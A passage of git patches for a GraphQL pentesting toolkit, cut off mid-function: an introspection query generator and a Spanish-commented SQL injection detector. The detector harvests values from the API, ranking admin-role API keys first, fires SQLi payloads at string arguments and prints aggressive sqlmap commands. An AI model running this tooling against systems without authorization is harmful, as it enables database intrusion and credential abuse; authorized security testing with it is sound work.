"query" + methods.append(f_copy) + + # Extract mutation fields (if present) + mutation_type = introspection["data"]["__schema"].get("mutationType") + mutation_type_name = mutation_type.get("name") if isinstance(mutation_type, dict) else mutation_type + if mutation_type_name: + mtype = next((t for t in types if t.get("name") == mutation_type_name), None) + if mtype and "fields" in mtype: + for f in mtype["fields"]: + f_copy = f.copy() + f_copy["_root"] = "mutation" + methods.append(f_copy) + + return methods # Follow NON_NULL / LIST / etc. def resolve_type(t): - while t.get("ofType") is not None: + # t is expected to be a dict with possible 'ofType' recursing + while isinstance(t, dict) and t.get("ofType") is not None: t = t["ofType"] return t - -# Recursively build full field tree for the query +# Recursively build full field tree for the query (response shape) def build_field_tree(field_type, types, depth=0, visited=None): if visited is None: visited = set() @@ -206,19 +234,145 @@ def stringify_type(t): else: return t.get("name", "Unknown") +# Helpers to build inline input objects with example values +def build_input_object(type_ref, types, depth=0, visited=None): + """ + Given a type reference (dict with kind/name/ofType), find the corresponding INPUT_OBJECT + type definition in 'types' and return a formatted inline object string like: + { username: "user", password: "pass" } + """ + if visited is None: + visited = set() + + resolved = resolve_type(type_ref) + type_name = resolved.get("name") + if not type_name: + return "{}" + + if type_name in visited: + return "{}" + visited.add(type_name) + + type_obj = next((t for t in types if t.get("name") == type_name), None) + if not type_obj: + return "{}" + + input_fields = type_obj.get("inputFields") or [] + indent = " " * depth + inner_indent = " " * (depth + 1) + + parts = [] + for f in input_fields: + fname = f["name"] + # If defaultValue is provided in introspection, use it + if f.get("defaultValue") is not None: + val = f["defaultValue"] + # defaultValue in introspection is a string representation; leave as-is + parts.append(f"{inner_indent}{fname}: {val}") + continue + + val = format_input_value(f["type"], types, fname, depth + 1, visited.copy()) + parts.append(f"{inner_indent}{fname}: {val}") + + if not parts: + return "{}" + + if depth == 0: + # single-line compact for top-level input + inner = ", ".join(p.strip() for p in parts) + return "{ " + inner + " }" + else: + # multi-line with indentation + body = "\n".join(parts) + return "{\n" + body + f"\n{indent}}}" + +def format_input_value(type_ref, types, field_name=None, depth=0, visited=None): + """ + Return a string representing a sample value for the given type reference. + Strings are quoted, booleans and numbers are unquoted, lists are bracketed, objects expanded. + """ + t = type_ref + # Handle NON_NULL / LIST wrappers + if not isinstance(t, dict): + return "\"example\"" + + if t.get("kind") == "NON_NULL": + return format_input_value(t["ofType"], types, field_name, depth, visited) + if t.get("kind") == "LIST": + # produce a single-element list + inner = format_input_value(t["ofType"], types, field_name, depth + 1, visited) + return f"[{inner}]" + + # Now resolved scalar/enum/input object/type + kind = t.get("kind") + name = t.get("name", "") + + # Primitive scalars + if kind == "SCALAR" or name in ("String", "ID", ""): + # sensible defaults by common field name + if field_name: + lname = field_name.lower() + if "user" in lname and "name" in lname: + return f"\"{field_name}_example\"" + if "name" == lname: + return f"\"{field_name}_example\"" + if "pass" in lname: + return "\"password123\"" + if "email" in lname: + return f"\"{field_name}@example.com\"" + if "msg" in lname or "message" in lname: + return f"\"{field_name}_example\"" + if "role" in lname: + return "\"user\"" + # default string + return "\"example\"" + if name in ("Int", "Float"): + return "0" + if name == "Boolean": + return "false" + + # Enums: try to pick first enum value if present + if kind == "ENUM" or (name and any(ti.get("name") == name and ti.get("enumValues") for ti in types)): + t_obj = next((ti for ti in types if ti.get("name") == name), None) + if t_obj: + enum_vals = t_obj.get("enumValues") or [] + if enum_vals: + first = enum_vals[0].get("name") + # enums are unquoted or sometimes unquoted values -> return first as bare token + return first if first is not None else "\"ENUM_VALUE\"" + return "\"ENUM_VALUE\"" + + # Input objects -> expand recursively + if kind == "INPUT_OBJECT" or (name and any(ti.get("name") == name and ti.get("inputFields") for ti in types)): + return build_input_object(t, types, depth, visited) + + # Fallback to string + return "\"example\"" + def generate_full_query(method_field, introspection): types = introspection["data"]["__schema"]["types"] # ---- Extract arguments ---- - args = method_field.get("args", []) + args = method_field.get("args", []) or [] variables = [] call_args = [] + # Decide per-arg whether to inline (INPUT_OBJECT) or use variable for a in args: var_name = a["name"] - var_type = stringify_type(a["type"]) - variables.append(f"${var_name}: {var_type}") - call_args.append(f"{var_name}: ${var_name}") + resolved = resolve_type(a["type"]) + kind = resolved.get("kind") + name = resolved.get("name") + + if kind == "INPUT_OBJECT" or (name and any(t.get("name") == name and t.get("inputFields") for t in types)): + # inline expanded object + inline_obj = build_input_object(a["type"], types) + call_args.append(f"{var_name}: {inline_obj}") + else: + # keep as variable + var_type = stringify_type(a["type"]) + variables.append(f"${var_name}: {var_type}") + call_args.append(f"{var_name}: ${var_name}") # Build signature variables_str = f"({', '.join(variables)})" if variables else "" @@ -228,9 +382,12 @@ def generate_full_query(method_field, introspection): root_type = method_field["type"] fields_tree = build_field_tree(root_type, types, depth=2) + # Determine operation type (query or mutation) + operation = method_field.get("_root", "query") + # ---- Build final query ---- return f""" -query {method_field['name']}{variables_str} {{ +{operation} {method_field['name']}{variables_str} {{ {method_field['name']}{call_args_str} {{ {fields_tree} }} @@ -273,6 +430,15 @@ def interactive_console(methods, introspection): pipe_cmd = None # --------------------- + # Allow shorthand: bare number or exact method name selects the method + # but don't override primary commands + if not cmd.startswith("use ") and cmd not in ("help", "listMethods", "exit", ""): + if cmd.isdigit(): + cmd = f"use {cmd}" + else: + if any(m["name"] == cmd for m in methods): + cmd = f"use {cmd}" + # MAIN COMMAND HANDLING if cmd == "help": output = """Available commands: @@ -288,7 +454,11 @@ def interactive_console(methods, introspection): print(output) elif cmd == "listMethods": - lines = [f" [{i}] {m['name']}" for i, m in enumerate(methods, start=1)] + lines = [] + for i, m in enumerate(methods, start=1): + root = m.get("_root", "query") + prefix = "Q" if root == "query" else "M" + lines.append(f" [{i}] ({prefix}) {m['name']}") if pipe_cmd: lines = [l for l in lines if grep_text in l.lower()] @@ -336,6 +506,9 @@ def interactive_console(methods, introspection): break else: + if cmd == "": + # ignore empty input + continue print("❌ Unknown command. Type 'help' for the command list.\n") From ff1e557b157d997f6f85a31bb39eef1364466072 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 14:57:45 +0100 Subject: [PATCH 12/30] Enhance GraphQL SQLi detector with schema extraction Enhanced the GraphQL SQL injection detector by adding schema value extraction and improved parameter handling. Updated the command-line interface and internal logic for better detection and reporting. --- sqli/sqli_detector.py | 404 +++++++++++++++++++++++++++++++++++------- 1 file changed, 342 insertions(+), 62 deletions(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 793c751..64a3bd7 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -1,20 +1,19 @@ #!/usr/bin/env python3 """ sqli_detector.py -GraphQL SQL injection mini-detector (Python). +GraphQL SQL injection mini-detector (Python) - Enhanced version. -Behavior: - - For each finding the script creates ONLY a marker file in repro-payloads/ - where the detected vulnerable value is replaced by '*' inside the GraphQL query string. - - The script prints only the recommended sqlmap command for the marker file - (uses -r and targets JSON[query] with --skip-urlencode and --parse-errors). - - It does NOT write files that contain the original payloads that may break GraphQL parsing. +Mejoras: + - Extrae valores de queries simples (sin args) para usarlos como baseline + - Detecta cuando una query necesita ciertos valores para funcionar + - Prueba combinaciones de parámetros con valores extraídos del schema + - Detecta SQLi incluso cuando se requieren API keys u otros parámetros válidos Usage: - python graphql-sqli-detector/sqli_detector.py '' + python sqli_detector.py '' Example: - python graphql-sqli-detector/sqli_detector.py http://localhost:4000/graphql '{"Authorization":"Bearer TOKEN"}' + python sqli_detector.py http://localhost:4000/graphql '{"Authorization":"Bearer TOKEN"}' """ from __future__ import annotations import os @@ -23,9 +22,10 @@ import hashlib import argparse from datetime import datetime, timezone -from typing import Any, Dict, List, Optional +from typing import Any, Dict, List, Optional, Set, Tuple from urllib.parse import urlparse from pathlib import Path +from itertools import combinations import requests try: @@ -98,9 +98,12 @@ def __getattr__(self, name): return "" re.compile(r"sqlstate", re.I), re.compile(r"you have an error in your sql syntax", re.I), re.compile(r"pg_query\(", re.I), + re.compile(r"pymysql", re.I), + re.compile(r"psycopg", re.I), + re.compile(r"mariadb", re.I), ] -TIMEOUT = 20 # seconds +TIMEOUT = 20 REPRO_DIR = "repro-payloads" TRUNCATE_LEN_DEFAULT = 120 @@ -218,12 +221,12 @@ def truncate_str(s: str, n: int = 180) -> str: return s if len(s) <= n else s[:n] + "..." -def build_query(field_name: str, arg_name: str, payload_value: str, selection: Optional[str]) -> Dict[str, Any]: - value_literal = json.dumps(payload_value) +def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[str]) -> Dict[str, Any]: + args_str = ", ".join([f'{k}: {json.dumps(v)}' for k, v in args_dict.items()]) if selection: - q = f'query {{ {field_name}({arg_name}: {value_literal}) {{ {selection} }} }}' + q = f'query {{ {field_name}({args_str}) {{ {selection} }} }}' else: - q = f'query {{ {field_name}({arg_name}: {value_literal}) }}' + q = f'query {{ {field_name}({args_str}) }}' return {"query": q} @@ -255,7 +258,7 @@ def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, lines.append(f"POST {path} HTTP/1.1") for k, v in hdrs.items(): lines.append(f"{k}: {v}") - lines.append("") # blank line + lines.append("") lines.append(body_str) content = "\r\n".join(lines) + "\r\n" with open(fpath, "w", encoding="utf-8") as fh: @@ -264,11 +267,6 @@ def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], attack_query: str, field: str, arg: str, payload: str) -> str: - """ - Write only a marker .http file in which the first occurrence of the detected - payload is replaced by '*' inside the GraphQL query string. - Returns the absolute path to the written marker file. - """ marker_query = attack_query.replace(payload, "*", 1) ts = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ") short_hash = hashlib.sha1(marker_query.encode("utf-8")).hexdigest()[:8] @@ -278,10 +276,180 @@ def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: - # target JSON[query] on marker file, skip urlencode and parse errors return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" +def extract_values_from_schema(endpoint: str, headers: Dict[str, str], query_fields: List[Dict[str, Any]], types: List[Dict[str, Any]]) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: + """ + Extrae valores de queries sin argumentos o con pocos argumentos para usarlos como baseline. + Devuelve: + - Dict con nombre_campo -> set de valores encontrados + - Dict con key/token -> role (para priorizar admin keys) + """ + print(Fore.CYAN + "[*] Extracting potential values from simple queries...") + extracted_values: Dict[str, Set[str]] = {} + key_roles: Dict[str, str] = {} # key -> role + + for field in query_fields: + args = field.get("args", []) or [] + field_name = field.get("name") + + # Ignorar campos de introspección + if field_name.startswith("__"): + continue + + # Solo queries sin argumentos o con argumentos opcionales + if len(args) > 2: + continue + + return_type_name = extract_named_type(field.get("type")) + return_type_def = find_type_definition(types, return_type_name) + + # Determinar qué campos seleccionar + fields_to_select = [] + if return_type_def and return_type_def.get("fields"): + for f in return_type_def.get("fields", [])[:10]: # Primeros 10 campos + fname = f.get("name") + if fname and not fname.startswith("__"): + fields_to_select.append(fname) + + if not fields_to_select: + continue + + selection = " ".join(fields_to_select) + + # Probar sin argumentos + try: + query = f'query {{ {field_name} {{ {selection} }} }}' + resp = post_graphql(endpoint, headers, {"query": query}) + + if resp.get("data") and isinstance(resp["data"], dict): + data = resp["data"].get("data", {}).get(field_name) + if data: + # Extraer valores + if isinstance(data, list): + for item in data[:10]: # Limitar a 10 items + if isinstance(item, dict): + # Buscar relación key-role + item_key = item.get("key") or item.get("apiKey") or item.get("token") + item_role = item.get("role") + if item_key and item_role: + key_roles[item_key] = item_role + + for key, value in item.items(): + if isinstance(value, str) and value: + if key not in extracted_values: + extracted_values[key] = set() + extracted_values[key].add(value) + elif isinstance(data, dict): + # Buscar relación key-role + item_key = data.get("key") or data.get("apiKey") or data.get("token") + item_role = data.get("role") + if item_key and item_role: + key_roles[item_key] = item_role + + for key, value in data.items(): + if isinstance(value, str) and value: + if key not in extracted_values: + extracted_values[key] = set() + extracted_values[key].add(value) + except Exception as e: + continue + + # Imprimir valores extraídos + if extracted_values: + print(Fore.GREEN + f"[+] Extracted {sum(len(v) for v in extracted_values.values())} potential values from {len(extracted_values)} fields") + for key, values in list(extracted_values.items())[:5]: + print(Fore.WHITE + Style.DIM + f" {key}: {list(values)[:3]}") + + # Imprimir keys con roles + if key_roles: + admin_keys = [k for k, r in key_roles.items() if 'admin' in r.lower()] + if admin_keys: + print(Fore.GREEN + Style.BRIGHT + f"[+] Found {len(admin_keys)} admin API key(s)") + + return extracted_values, key_roles + + +def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], key_roles: Dict[str, str]) -> List[str]: + """ + Encuentra valores que podrían corresponder a un argumento basándose en el nombre. + Prioriza valores que parezcan API keys o tokens (valores largos con admin/manager role). + """ + arg_lower = arg_name.lower() + candidates = [] + scored_candidates = [] # (score, value) + + # Coincidencia exacta + if arg_name in extracted_values: + for v in list(extracted_values[arg_name])[:3]: + score = 100 + # Boost si es admin key + if v in key_roles and key_roles[v].lower() in ('admin', 'manager', 'superuser'): + score += 50 + scored_candidates.append((score, v)) + + # Coincidencia parcial (apiKey -> api_key, api-key, etc) + for key, values in extracted_values.items(): + key_normalized = re.sub(r'[_\-]', '', key.lower()) + arg_normalized = re.sub(r'[_\-]', '', arg_lower) + + # Coincidencia fuerte: apiKey <-> key + if key_normalized in arg_normalized or arg_normalized in key_normalized: + for v in list(values)[:3]: + score = 80 + # Priorizar valores largos (probablemente API keys/tokens) + if len(v) > 20: + score += 15 + # Boost MASIVO si es admin key + if v in key_roles: + role = key_roles[v].lower() + if 'admin' in role: + score += 100 + elif 'manager' in role or 'superuser' in role: + score += 50 + elif 'guest' in role or 'user' in role: + score -= 20 + # Priorizar si hay "key" en ambos + if 'key' in arg_lower and 'key' in key.lower(): + score += 10 + scored_candidates.append((score, v)) + + # Coincidencias semánticas comunes + elif 'key' in arg_lower and 'key' in key.lower(): + for v in list(values)[:2]: + score = 70 + if len(v) > 20: + score += 15 + if v in key_roles and 'admin' in key_roles[v].lower(): + score += 100 + scored_candidates.append((score, v)) + elif 'token' in arg_lower and 'token' in key.lower(): + for v in list(values)[:2]: + score = 70 + if v in key_roles and 'admin' in key_roles[v].lower(): + score += 100 + scored_candidates.append((score, v)) + elif 'id' in arg_lower and 'id' in key.lower(): + for v in list(values)[:2]: + scored_candidates.append((50, v)) + elif 'name' in arg_lower and 'name' in key.lower(): + for v in list(values)[:2]: + scored_candidates.append((60, v)) + + # Ordenar por score y eliminar duplicados + scored_candidates.sort(reverse=True, key=lambda x: x[0]) + seen = set() + for score, value in scored_candidates: + if value not in seen: + candidates.append(value) + seen.add(value) + if len(candidates) >= 5: + break + + return candidates + + def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]]: print(f"[*] Running introspection on {endpoint}") intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}) @@ -299,82 +467,189 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] print(Fore.RED + "[!] Query type or fields not found in schema.") return [] + query_fields = query_type.get("fields", []) + + # Extraer valores del schema + extracted_values, key_roles = extract_values_from_schema(endpoint, headers, query_fields, types) + findings: List[Dict[str, Any]] = [] - for field in query_type.get("fields", []): + for field in query_fields: args = field.get("args", []) or [] if not args: continue + + field_name = field.get("name") + + # Identificar argumentos de tipo string + string_args = [] for arg in args: arg_type_name = extract_named_type(arg.get("type")) - if not is_string_type(arg_type_name): - continue - - return_type_name = extract_named_type(field.get("type")) - return_type_def = find_type_definition(types, return_type_name) - selection = pick_scalar_field_for_type(return_type_def, types) - if not selection and return_type_def and return_type_def.get("fields"): - fallback = next((f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title")), None) - if fallback: - selection = fallback["name"] - - benign = "testuser" - base_payload = build_query(field["name"], arg["name"], benign, selection) - base_resp = post_graphql(endpoint, headers, base_payload) - base_norm = normalize_resp(base_resp.get("data")) + if is_string_type(arg_type_name): + string_args.append(arg) + + if not string_args: + continue + return_type_name = extract_named_type(field.get("type")) + return_type_def = find_type_definition(types, return_type_name) + selection = pick_scalar_field_for_type(return_type_def, types) + if not selection and return_type_def and return_type_def.get("fields"): + fallback = next((f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title")), None) + if fallback: + selection = fallback["name"] + + # Preparar valores base para cada argumento + base_values: Dict[str, List[str]] = {} + for arg in args: + arg_name = arg.get("name") + arg_type_name = extract_named_type(arg.get("type")) + + # Buscar valores matching del schema (ahora con key_roles) + matching = find_matching_values(arg_name, extracted_values, key_roles) + + if matching: + base_values[arg_name] = matching + elif is_string_type(arg_type_name): + base_values[arg_name] = ["testuser", "admin", "test123"] + else: + base_values[arg_name] = ["1", "100"] + + # Probar cada argumento string con SQLi + for target_arg in string_args: + target_arg_name = target_arg.get("name") + + # Probar múltiples combinaciones de valores para args no-target + # Priorizar valores que parezcan admin/privilegiados + test_combinations = [] + + for arg in args: + arg_name = arg.get("name") + if arg_name != target_arg_name: + possible_values = base_values.get(arg_name, ["test"]) + # Poner primero los valores más largos (probablemente admin keys) + if isinstance(possible_values, list): + possible_values.sort(key=lambda x: len(str(x)), reverse=True) + test_combinations.append((arg_name, possible_values[:3] if isinstance(possible_values, list) else list(possible_values)[:3])) + + # Generar combinaciones de argumentos no-target + if test_combinations: + # Probar primero con el valor más largo (probablemente privilegiado) + args_dict = {} # Dict vacío, no set + for arg_name, values in test_combinations: + args_dict[arg_name] = values[0] if values else "test" + args_dict[target_arg_name] = "testuser" + else: + args_dict = {target_arg_name: "testuser"} + + # Baseline request con múltiples intentos + base_resp = None + base_norm = None + base_has_error = True + working_args = None + + # Intentar diferentes combinaciones hasta encontrar una que funcione + for attempt in range(min(3, len(test_combinations) + 1)): + if attempt == 0: + # Primera tentativa con valores más largos + test_args = {} + for arg in args: + arg_name = arg.get("name") + if arg_name == target_arg_name: + test_args[arg_name] = "testuser" + else: + vals = base_values.get(arg_name, ["test"]) + vals.sort(key=lambda x: len(str(x)), reverse=True) + test_args[arg_name] = vals[0] if vals else "test" + else: + # Intentos adicionales con otras combinaciones + test_args = {} + for arg in args: + arg_name = arg.get("name") + if arg_name == target_arg_name: + test_args[arg_name] = "testuser" + else: + vals = base_values.get(arg_name, ["test"]) + idx = min(attempt, len(vals) - 1) if vals else 0 + test_args[arg_name] = vals[idx] if vals else "test" + + base_payload = build_query(field_name, test_args, selection) + base_resp = post_graphql(endpoint, headers, base_payload) + base_norm = normalize_resp(base_resp.get("data")) + base_has_error = bool(base_resp.get("data", {}).get("errors")) + + if not base_has_error: + working_args = test_args.copy() + print(Fore.GREEN + Style.DIM + f"[+] Found working baseline for {field_name}.{target_arg_name} with args: {test_args}") + break + + if not working_args: + # No se encontró baseline funcional, usar la última tentativa de todos modos + working_args = test_args.copy() if 'test_args' in locals() else {target_arg_name: "testuser"} + print(Fore.YELLOW + Style.DIM + f"[!] No clean baseline found for {field_name}.{target_arg_name}, proceeding anyway...") + + # Probar cada payload SQLi for payload in PAYLOADS: - attack_payload = build_query(field["name"], arg["name"], payload, selection) + # Mantener los mismos valores que funcionaron en baseline + attack_args = working_args.copy() + attack_args[target_arg_name] = payload + + attack_payload = build_query(field_name, attack_args, selection) attack_resp = post_graphql(endpoint, headers, attack_payload) + attack_query = attack_payload["query"] sql_err = check_sql_error_in_response(attack_resp.get("data")) - attack_query = attack_payload["query"] if sql_err: - # create only marker file and recommend marker-based command - repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field["name"], arg["name"], payload) + repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) findings.append({ - "field": field["name"], - "arg": arg["name"], + "field": field_name, + "arg": target_arg_name, "payload": payload, + "args_used": attack_args, "type": "SQL_ERROR_IN_RESPONSE", "evidence": sql_err["evidence"], - "base_response": base_resp.get("data"), + "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), "recommended_cmd": recommended_cmd, }) + print(Fore.RED + f"[!] SQL ERROR DETECTED: {field_name}.{target_arg_name}") continue attack_norm = normalize_resp(attack_resp.get("data")) - if base_norm and attack_norm and base_norm != attack_norm: - repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field["name"], arg["name"], payload) + if base_norm and attack_norm and base_norm != attack_norm and not base_has_error: + repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) findings.append({ - "field": field["name"], - "arg": arg["name"], + "field": field_name, + "arg": target_arg_name, "payload": payload, + "args_used": attack_args, "type": "RESPONSE_DIFF", - "evidence": f"Baseline != Attack (baseline {truncate_str(base_norm, 150)}, attack {truncate_str(attack_norm, 150)})", - "base_response": base_resp.get("data"), + "evidence": f"Baseline != Attack", + "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), "recommended_cmd": recommended_cmd, }) + print(Fore.YELLOW + f"[!] RESPONSE DIFF DETECTED: {field_name}.{target_arg_name}") continue if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): - repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field["name"], arg["name"], payload) + repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) findings.append({ - "field": field["name"], - "arg": arg["name"], + "field": field_name, + "arg": target_arg_name, "payload": payload, + "args_used": attack_args, "type": "NULL_ON_ATTACK", "evidence": "Null returned on attack while baseline had data", - "base_response": base_resp.get("data"), + "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), "recommended_cmd": recommended_cmd, }) + print(Fore.YELLOW + f"[!] NULL ON ATTACK DETECTED: {field_name}.{target_arg_name}") continue return findings @@ -384,18 +659,23 @@ def print_findings_short(findings: List[Dict[str, Any]], truncate_len: int): if not findings: print(Fore.GREEN + "[*] No obvious SQLi indications were found using the basic payloads.") return - for f in findings: - print(Fore.RED + Style.BRIGHT + "VULNERABLE PARAMETER:" + Style.RESET_ALL + f" {f.get('arg')} (field: {f.get('field')})") - print(Fore.YELLOW + "Evidence:" + Style.RESET_ALL + f" {truncate_str(str(f.get('evidence', '')), truncate_len)}") - print(Fore.CYAN + "Recommended sqlmap command:" + Style.RESET_ALL) - print(Fore.WHITE + Style.DIM + f"{f.get('recommended_cmd')}") + + print(Fore.RED + Style.BRIGHT + f"\n[!] Found {len(findings)} potential SQL injection vulnerabilities:\n") + + for i, f in enumerate(findings, 1): + print(Fore.RED + Style.BRIGHT + f"[{i}] VULNERABLE PARAMETER:" + Style.RESET_ALL + f" {f.get('arg')} (field: {f.get('field')})") + if f.get('args_used'): + print(Fore.YELLOW + " Arguments used:" + Style.RESET_ALL + f" {f.get('args_used')}") + print(Fore.YELLOW + " Evidence:" + Style.RESET_ALL + f" {truncate_str(str(f.get('evidence', '')), truncate_len)}") + print(Fore.CYAN + " Recommended sqlmap command:" + Style.RESET_ALL) + print(Fore.WHITE + Style.DIM + f" {f.get('recommended_cmd')}") print(Style.DIM + "-" * 80 + Style.RESET_ALL) def main(): - parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (writes marker .http files and prints recommended sqlmap commands)") + parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (Enhanced - extracts values from schema)") parser.add_argument("endpoint", help="GraphQL endpoint URL") - parser.add_argument("headers", nargs="?", help="Optional headers JSON, e.g. '{\"Authorization\":\"Bearer TOKEN\"}'", default=None) + parser.add_argument("headers", nargs="?", help="Optional headers JSON", default=None) args = parser.parse_args() headers = try_parse_headers(args.headers) From 23e30372f748438a8f69e19d26f0683532de9083 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 16:00:20 +0100 Subject: [PATCH 13/30] Enhance SQLi detection logic and error handling Refactor SQLi detector to improve accuracy and reduce false positives. Added new functions for error detection and enhanced payload handling. --- sqli/sqli_detector.py | 499 +++++++++++++++++++++++++++--------------- 1 file changed, 318 insertions(+), 181 deletions(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 64a3bd7..5cece4a 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -8,12 +8,8 @@ - Detecta cuando una query necesita ciertos valores para funcionar - Prueba combinaciones de parámetros con valores extraídos del schema - Detecta SQLi incluso cuando se requieren API keys u otros parámetros válidos - -Usage: - python sqli_detector.py '' - -Example: - python sqli_detector.py http://localhost:4000/graphql '{"Authorization":"Bearer TOKEN"}' + - Reduce falsos positivos agregando confirmación antes de reportar un parámetro + (reporte solo si hay evidencia de error SQL o múltiples indicios de comportamiento anómalo) """ from __future__ import annotations import os @@ -25,7 +21,7 @@ from typing import Any, Dict, List, Optional, Set, Tuple from urllib.parse import urlparse from pathlib import Path -from itertools import combinations +from itertools import product import requests try: @@ -208,6 +204,29 @@ def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, return None +def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: + if not resp_data: + return None + errors = resp_data.get("errors") or [] + for e in errors: + msg = str(e.get("message", "")) + m = re.search(r'argument\s+"([^"]+)"[^.]*required but not provided', msg, re.I) + if m: + return m.group(1) + return None + + +def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: + if not resp_data: + return None + errors = resp_data.get("errors") or [] + for e in errors: + msg = str(e.get("message", "")) + if re.search(r"Syntax Error GraphQL|Syntax Error|Unexpected character|Expected :, found", msg, re.I): + return msg + return None + + def normalize_resp(data: Any) -> str: try: return json.dumps(data, sort_keys=True, ensure_ascii=False) @@ -267,7 +286,17 @@ def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], attack_query: str, field: str, arg: str, payload: str) -> str: - marker_query = attack_query.replace(payload, "*", 1) + try: + escaped_payload = json.dumps(payload) + except Exception: + escaped_payload = payload + escaped_marker = json.dumps("*") + if escaped_payload in attack_query: + marker_query = attack_query.replace(escaped_payload, escaped_marker, 1) + elif payload in attack_query: + marker_query = attack_query.replace(payload, "*", 1) + else: + marker_query = attack_query.replace("\\" + payload, escaped_marker, 1) ts = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ") short_hash = hashlib.sha1(marker_query.encode("utf-8")).hexdigest()[:8] fname = f"{_sanitize_name(field)}_{_sanitize_name(arg)}_{ts}_{short_hash}_marker.http" @@ -280,128 +309,81 @@ def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: def extract_values_from_schema(endpoint: str, headers: Dict[str, str], query_fields: List[Dict[str, Any]], types: List[Dict[str, Any]]) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: - """ - Extrae valores de queries sin argumentos o con pocos argumentos para usarlos como baseline. - Devuelve: - - Dict con nombre_campo -> set de valores encontrados - - Dict con key/token -> role (para priorizar admin keys) - """ print(Fore.CYAN + "[*] Extracting potential values from simple queries...") extracted_values: Dict[str, Set[str]] = {} - key_roles: Dict[str, str] = {} # key -> role - + key_roles: Dict[str, str] = {} for field in query_fields: args = field.get("args", []) or [] field_name = field.get("name") - - # Ignorar campos de introspección - if field_name.startswith("__"): + if not field_name or field_name.startswith("__"): continue - - # Solo queries sin argumentos o con argumentos opcionales if len(args) > 2: continue - return_type_name = extract_named_type(field.get("type")) return_type_def = find_type_definition(types, return_type_name) - - # Determinar qué campos seleccionar fields_to_select = [] if return_type_def and return_type_def.get("fields"): - for f in return_type_def.get("fields", [])[:10]: # Primeros 10 campos + for f in return_type_def.get("fields", [])[:10]: fname = f.get("name") if fname and not fname.startswith("__"): fields_to_select.append(fname) - if not fields_to_select: continue - selection = " ".join(fields_to_select) - - # Probar sin argumentos try: query = f'query {{ {field_name} {{ {selection} }} }}' resp = post_graphql(endpoint, headers, {"query": query}) - if resp.get("data") and isinstance(resp["data"], dict): data = resp["data"].get("data", {}).get(field_name) if data: - # Extraer valores if isinstance(data, list): - for item in data[:10]: # Limitar a 10 items + for item in data[:10]: if isinstance(item, dict): - # Buscar relación key-role item_key = item.get("key") or item.get("apiKey") or item.get("token") item_role = item.get("role") if item_key and item_role: key_roles[item_key] = item_role - for key, value in item.items(): if isinstance(value, str) and value: - if key not in extracted_values: - extracted_values[key] = set() - extracted_values[key].add(value) + extracted_values.setdefault(key, set()).add(value) elif isinstance(data, dict): - # Buscar relación key-role item_key = data.get("key") or data.get("apiKey") or data.get("token") item_role = data.get("role") if item_key and item_role: key_roles[item_key] = item_role - for key, value in data.items(): if isinstance(value, str) and value: - if key not in extracted_values: - extracted_values[key] = set() - extracted_values[key].add(value) - except Exception as e: + extracted_values.setdefault(key, set()).add(value) + except Exception: continue - - # Imprimir valores extraídos if extracted_values: - print(Fore.GREEN + f"[+] Extracted {sum(len(v) for v in extracted_values.values())} potential values from {len(extracted_values)} fields") - for key, values in list(extracted_values.items())[:5]: - print(Fore.WHITE + Style.DIM + f" {key}: {list(values)[:3]}") - - # Imprimir keys con roles + total_vals = sum(len(v) for v in extracted_values.values()) + print(Fore.GREEN + f"[+] Extracted {total_vals} potential values from {len(extracted_values)} fields") if key_roles: admin_keys = [k for k, r in key_roles.items() if 'admin' in r.lower()] if admin_keys: - print(Fore.GREEN + Style.BRIGHT + f"[+] Found {len(admin_keys)} admin API key(s)") - + print(Fore.GREEN + Style.BRIGHT + f"[+] Found {len(admin_keys)} admin API key(s) in extracted values") return extracted_values, key_roles def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], key_roles: Dict[str, str]) -> 